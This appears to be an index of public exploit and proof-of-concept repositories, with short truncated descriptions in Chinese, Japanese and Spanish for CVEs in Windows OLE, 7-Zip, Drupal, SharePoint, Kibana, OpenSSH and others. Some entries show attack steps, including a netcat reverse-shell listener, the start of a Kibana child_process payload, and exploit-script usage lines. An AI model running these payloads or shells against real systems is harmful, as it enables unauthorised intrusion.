CVE-2025-21298

CVE-2025-21298 内容 这是 CVE-2025-21298 - Windows OLE 远程代码执行漏洞（CVSS 9.8） 的概念验证。这是一个内存损坏 PoC，而非漏洞利用。 漏洞 该漏洞位于 ole32.dll!UtOlePresStmToContentsStm 中。此函数的作用是将 OLE 存储中 "OlePres" 流里的数据转换为适当格式的数据，并插入同一存储中的 "CONTENTS" 流。它接收一个指向存储对象的 IStorage 指针，以及三个不太重要的参数。 下面我们可以看到该函数与 2025 年 1 月补丁的差异： int64 fastcall...

CVE-2019-25137-Version-Research

CVE-2019-25137 受影响版本研究 CVE-2019-25137 概述 CVE-2019-25137 是 Umbraco CMS 中的一个 XSLT 注入漏洞。该漏洞存在于 XSLT（可扩展样式表语言转换）可视化器网页中。此网页的易受攻击 URI 是 /umbraco/developer/Xslt/xsltVisualize.aspx。 成功利用 XSLT 可视化器可导致在目标系统上执行 C 代码。要利用此漏洞，用户需要拥有 Umbraco CMS 的合法管理员凭据。 CVE-2019-25137 的概念验证使用了 msxsl:script 元素。该元素允许在 XSLT...

7-Zip-CVE-2025-0411-POC

7-Zip-CVE-2025-0411-POC CVE-2025-0411 详细信息 “此漏洞（CVSS 评分 7.0）允许远程攻击者绕过受影响 7-Zip 安装上的 Mark-of-the-Web 保护机制。用户交互是利用此漏洞的必要条件，目标必须访问恶意页面或打开恶意文件。 该特定缺陷存在于存档文件的处理过程中。当从带有 Mark-of-the-Web 的精心构造的存档中提取文件时，7-Zip 不会将 Mark-of-the-Web 传播到提取的文件中。攻击者可以利用此漏洞在当前用户上下文中执行任意代码。” 受影响版本 24.09 之前的所有版本均被视为易受攻击。 缓解措施 “更新...

CVE-2021-20837

CVE-2021-20837 XMLRPC - MovableTypePoC 中的 RCE...

CVE-2017-7494

SambaCry CVE-2017-7494 漏洞利用 CVE-2017-7494/SambaCry 允许经过身份验证的用户将共享库上传到可写文件夹，并使用上传的库执行攻击。 漏洞说明 SambaCry 是 Samba 处理命名管道请求时的一个路径验证漏洞。 通常，这些管道用于让程序通过类似文件的通道读写数据来进行相互通信。 当 Samba 收到未知的管道名称时，受影响版本可能会将其视为可动态加载模块的名称。 这些模块通常是管理员安装的合法 .so 库。 该漏洞允许客户端提供绝对文件系统路径，而不是正常的模块或管道名称。Samba...

CVE-2018-7600

CVE-2018-7600 CVE-2018-7600 Drupal SA-CORE-2018-002 Drupalgeddon 2 の PoC。 インストール: $ git clone https://github.com/dwisiswant0/CVE-2018-7600 $ cd CVE-2018-7600/ $ composer install 使用方法: $ php exploit.php 警告! 教育目的のみで使用してください！ 参考文献: - https://research.checkpoint.com/uncovering-drupalgeddon-2/ -...

ToolShell

用于 SharePoint ToolShell 的漏洞利用工具。 博客：https://blog.viettelcybersecurity.com/sharepoint-toolshell/ 使用方法： python exploit.py -u -c 例如： python exploit.py -u http://10.0.1.12/sites/test -c calc @l0gg...

7-Zip-CVE-2025-0411-POC

Vulnerabilidad de omisión de Mark-of-the-Web en 7-Zip CVE-2025-0411 - POC Detalles de CVE-2025-0411 "Esta vulnerabilidad PUNTUACIÓN CVSS 7.0 permite a atacantes remotos omitir el mecanismo de protección Mark-of-the-Web en las instalaciones afectadas de 7-Zip. Se requiere interacción del usuario...

RpcProxyInvoke

RpcProxyInvoke 概述 为了创建一种通用的执行本地和远程代码的方法，我们设计了一种相对隐蔽的代码执行方式，内部称为RpcCraft（自身）和RpcExec（远程进程）。该技术利用了漏洞利用开发者熟知的方法，滥用RPC（远程过程调用）服务器调用（如NdrServerCall2或NdrServerCallAll）来执行任意代码。 滥用服务器调用来执行...

CVE-2019-7609

CVE-2019-7609 Kibana Kibana的Timelion visualizer存在缺陷，可导致远程代码执行的漏洞 环境配置 docker 1. 运行附带的 docker-compose.yml。 docker-comopse up -d 2. 在浏览器中访问 http://127.0.0.1:5601。 漏洞利用 1. 准备一个反弹shell。 $ nc -lvp 6666 2. 在Kibana的Timelion界面中输入payload，然后点击运行。 .es.propslabel.proto.env.AAAA='require"childprocess".exec"ba...

CVE-2023-36169

CVE-2023-36169 SlySoft Game Jackal Pro v.5.2.0.0 中存在一个问题，允许攻击者通过 server.exe 组件执行任意代码 漏洞利用标题：Game Jackal Server v5 - 未引用的服务路径 日期：05/08/2023 漏洞利用作者：Idan Malihi 厂商主页：https://www.allradiosoft.ru 软件链接：https://www.allradiosoft.ru/en/ss/index.htm 版本：5 测试环境：Microsoft Windows 10 Pro CVE：CVE-2023-36169 PoC...

CVE-2019-0752

https://www.thezdi.com/blog/2019/5/21/rce-without-native-code-exploitation-of-a-write-what-where-in-internet-explorer CVE-2019-0752的PoC漏洞利用 针对Windows 10 x64（最高至RS4、RS5？）上的Internet Explorer 11 32位 除了某些路径魔法外，还使用特殊地址值以避免使用PowerShell和块注释 使用JavaScript创建必要的DOM元素以避免使用静态HTML 没有硬编码的偏移量...

CVE-2023-42222

CVE-2023-42222 脆弱性の概要 WebCatalog バージョン 48.4.0 より前のバージョンでは、特定の状況下で、URL が http または https リソースであることを検証せずに Electron の shell.openExternal 関数を呼び出します。この脆弱性により、攻撃者は任意のプロトコルを含むリンクを含むメッセージを送信することで、被害者のマシン上でコードを実行できます。被害者はリンクを操作する必要があり、開かれる URL を確認します。 脆弱性スキャンの出力 PoC の概要 PoC 情報 この脆弱性は、任意の URL...

CVE-2022-24818

CVE-2022-24818: GeoServer および GeoTools における未チェックの JNDI ルックアップを介した Java デシリアライゼーション GeoTools ライブラリには、未チェックの JNDI ルックアップを実行できるデータソースが多数あり、それらのルックアップを利用してクラスのデシリアライゼーションを実行し、任意のコード実行につながる可能性があります。 例として、これは GeoServer で発生する可能性がありますが、トリガーには管理者レベルのログインが必要です。 ベンダーの開示: この脆弱性に関するベンダーの開示および修正はこちらでご確認いただけます。...

CVE-2026-16723

CVE-2026-16723 Fastjson RCE ★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★ 概述 CVE-2026-16723 是 Fastjson 1.x （1.2.68 – 1.2.83）中的一个远程代码执行（RCE）漏洞。 当 Fastjson 解析攻击者可控的 JSON 时，一个精心构造的 @type 值会在 checkAutoType 中被转换为类资源查找。在 Spring Boot 可执行 fat-JAR 中，类加载器将该名称解析为 jar:http:// URL 并获取远程 JAR（SSRF），随后加载一个带有...

CVE-2022-30190

CVE-2022-30190 CVE-2022-30190 Microsoft サポート診断ツールの脆弱性に関するガイダンス MSRC / msrc 著 / 2022年5月30日 2022年5月30日月、Microsoft は、Windows の Microsoft サポート診断ツール MSDT の脆弱性に関する CVE-2022-30190 を公開しました。 Word などの呼び出し元アプリケーションが URL プロトコルを使用して MSDT...

CVE-2020-7247-POC

はじめに エクスプロイトに関する重要な事実 脆弱なサーバーのインストール 設定 環境に関する注意事項 エクスプロイト 手動エクスプロイト スクリプトによるエクスプロイト はじめに このリポジトリは、管理されたプライベート環境でCVE-2020-7247をセットアップし、エクスプロイトするためのベースとして提供されます。公開されているコードと設定はすべて、この脆弱性をテストするためだけのものであり、自分自身のシステムではない、または許可なく悪用するためのものではありません。このリポジトリの所有者は、第三者がこれらのツールを使用したことに対して責任を負いません。 エクスプロイトに関する重要な...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708 "BlueKeep" 未认证扫描器 PoC，作者 @JaGoTu 和 @zerosum0x0。 技术细节：https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html Metasploit 模块 Metasploit 模块已合并至 rapid7:master 分支。 msf5 use auxiliary/scanner/rdp/cve20190708bluekeep...

regreSSHion

regreSSHion 漏洞利用 PoC 描述 此仓库包含针对 CVE-2024-6387 regreSSHion 的漏洞利用程序，该漏洞存在于基于 glibc 的 Linux 系统上 OpenSSH 服务器 sshd 中。它利用了 OpenSSH 信号处理器中的竞争条件，可能导致以 root 身份远程执行代码。 要求 基于 glibc 的 OpenSSH 服务器的 Linux 系统（已在 Ubuntu、Debian 上测试）。 已安装 gcc 编译器。 对编译和运行 C 程序有基本了解。 仅在授权系统上测试或使用此类漏洞利用的权限。 使用方法 1. 编译漏洞利用程序： gcc -o...

CVE-2025-55182-poc

CVE-2025-55182 概念验证 React 服务端组件中的关键预认证远程代码执行漏洞 这是一个完整的概念验证，演示了 CVE-2025-55182——[email protected] 中的一个关键漏洞，允许未经身份验证的攻击者通过原型链污染执行任意代码。 快速开始 Clone the repository git clone https://github.com/whiteov3rflow/CVE-2025-55182-poc cd CVE-2025-55182-poc Exploit the server python3 exploit.py 'touch...